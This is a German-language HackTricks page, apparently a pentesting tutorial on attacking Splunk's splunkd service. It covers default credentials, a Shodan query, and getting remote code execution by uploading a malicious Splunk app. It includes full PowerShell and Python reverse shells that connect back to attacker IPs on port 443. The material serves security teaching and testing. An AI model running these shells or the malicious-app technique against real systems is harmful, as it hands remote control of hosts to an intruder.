mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
119 lines
4.5 KiB
Markdown
119 lines
4.5 KiB
Markdown
# 8089 - Pentesting Splunkd
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|
|
|
|
## **Grundinformationen**
|
|
|
|
- Log-Analyse-Tool zur Datensammlung, Analyse und Visualisierung
|
|
- Häufig verwendet in der Sicherheitsüberwachung und Geschäftsanalytik
|
|
- Standardports:
|
|
- Webserver: 8000
|
|
- Splunkd-Dienst: 8089
|
|
|
|
### Schwachstellenvektoren:
|
|
|
|
1. Ausnutzung der kostenlosen Version
|
|
|
|
- Testversion wird nach 60 Tagen automatisch in die kostenlose Version umgewandelt
|
|
- Kostenlose Version hat keine Authentifizierung
|
|
- Potenzielles Sicherheitsrisiko, wenn sie nicht verwaltet wird
|
|
- Administratoren könnten die Sicherheitsimplikationen übersehen
|
|
|
|
2. Anmeldeinformationen-Schwächen
|
|
|
|
- Ältere Versionen: Standardanmeldeinformationen `admin:changeme`
|
|
- Neuere Versionen: Anmeldeinformationen werden während der Installation festgelegt
|
|
- Potenzial für die Verwendung schwacher Passwörter (z.B. `admin`, `Welcome`, `Password123`)
|
|
|
|
3. Möglichkeiten zur Remote-Code-Ausführung
|
|
|
|
- Mehrere Methoden zur Codeausführung:
|
|
- Serverseitige Django-Anwendungen
|
|
- REST-Endpunkte
|
|
- Skriptbasierte Eingaben
|
|
- Alarmierungsskripte
|
|
- Plattformübergreifende Unterstützung (Windows/Linux)
|
|
- Skriptbasierte Eingaben können ausführen:
|
|
- Bash-Skripte
|
|
- PowerShell-Skripte
|
|
- Batch-Skripte
|
|
|
|
Wichtiges Ausnutzungspotenzial:
|
|
|
|
- Speicherung sensibler Daten
|
|
- Fehlende Authentifizierung in der kostenlosen Version
|
|
- Mehrere Vektoren für potenzielle Remote-Code-Ausführung
|
|
- Möglichkeit, skriptbasierte Eingaben für Systemkompromittierung zu nutzen
|
|
|
|
### Shodan
|
|
|
|
- `Splunk build`
|
|
|
|
## RCE
|
|
|
|
### Erstellen einer benutzerdefinierten Anwendung
|
|
|
|
Splunk bietet eine ausgeklügelte Methode zur Remote-Code-Ausführung durch die Bereitstellung benutzerdefinierter Anwendungen, die seine plattformübergreifenden Skripting-Fähigkeiten nutzen. Die grundlegende Ausnutzungstechnik dreht sich um die Erstellung einer bösartigen Anwendung, die Reverse Shells auf sowohl Windows- als auch Linux-Systemen ausführen kann.
|
|
|
|
Eine benutzerdefinierte Anwendung kann **Python, Batch, Bash oder PowerShell-Skripte** ausführen. Darüber hinaus **kommt Splunk mit installiertem Python**, sodass Sie selbst auf **Windows**-Systemen Python-Code ausführen können.
|
|
|
|
Sie können [**dieses**](https://github.com/0xjpuff/reverse_shell_splunk) Beispiel mit dem **`bin`** verwenden, das Beispiele für [Python](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/rev.py) und [PowerShell](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/run.ps1) enthält. Oder Sie könnten Ihr eigenes erstellen.
|
|
|
|
Der Ausnutzungsprozess folgt einer konsistenten Methodik über Plattformen hinweg:
|
|
```
|
|
splunk_shell/
|
|
├── bin (reverse shell scripts)
|
|
└── default (inputs.conf configuration)
|
|
```
|
|
Die kritische Konfigurationsdatei `inputs.conf` aktiviert das Skript durch:
|
|
|
|
- Festlegen von `disabled = 0`
|
|
- Konfigurieren eines 10-Sekunden-Ausführungsintervalls
|
|
- Definieren des Quelltyps des Skripts
|
|
|
|
Die Bereitstellung ist unkompliziert:
|
|
|
|
1. Erstellen Sie das bösartige Anwendungs-Paket
|
|
2. Richten Sie einen Listener (Netcat/socat) auf der angreifenden Maschine ein
|
|
3. Laden Sie die Anwendung über die Schnittstelle von Splunk hoch
|
|
4. Auslösen der automatischen Skriptausführung nach dem Hochladen
|
|
|
|
Beispiel für eine Windows PowerShell Reverse Shell:
|
|
```bash
|
|
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);
|
|
$stream = $client.GetStream();
|
|
[byte[]]$bytes = 0..65535|%{0};
|
|
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
|
|
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
|
|
$sendback = (iex $data 2>&1 | Out-String );
|
|
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
|
|
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
|
|
$stream.Write($sendbyte,0,$sendbyte.Length);
|
|
$stream.Flush()
|
|
};
|
|
$client.Close()
|
|
```
|
|
Beispiel für eine Linux Python Reverse Shell:
|
|
```python
|
|
import sys, socket, os, pty
|
|
ip = "10.10.14.15"
|
|
port = "443"
|
|
s = socket.socket()
|
|
s.connect((ip, int(port)))
|
|
[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
|
|
pty.spawn('/bin/bash')
|
|
```
|
|
### RCE & Privilegieneskalation
|
|
|
|
Auf der folgenden Seite finden Sie eine Erklärung, wie dieser Dienst missbraucht werden kann, um Privilegien zu eskalieren und Persistenz zu erlangen:
|
|
|
|
{{#ref}}
|
|
../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md
|
|
{{#endref}}
|
|
|
|
## Referenzen
|
|
|
|
- [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213)
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|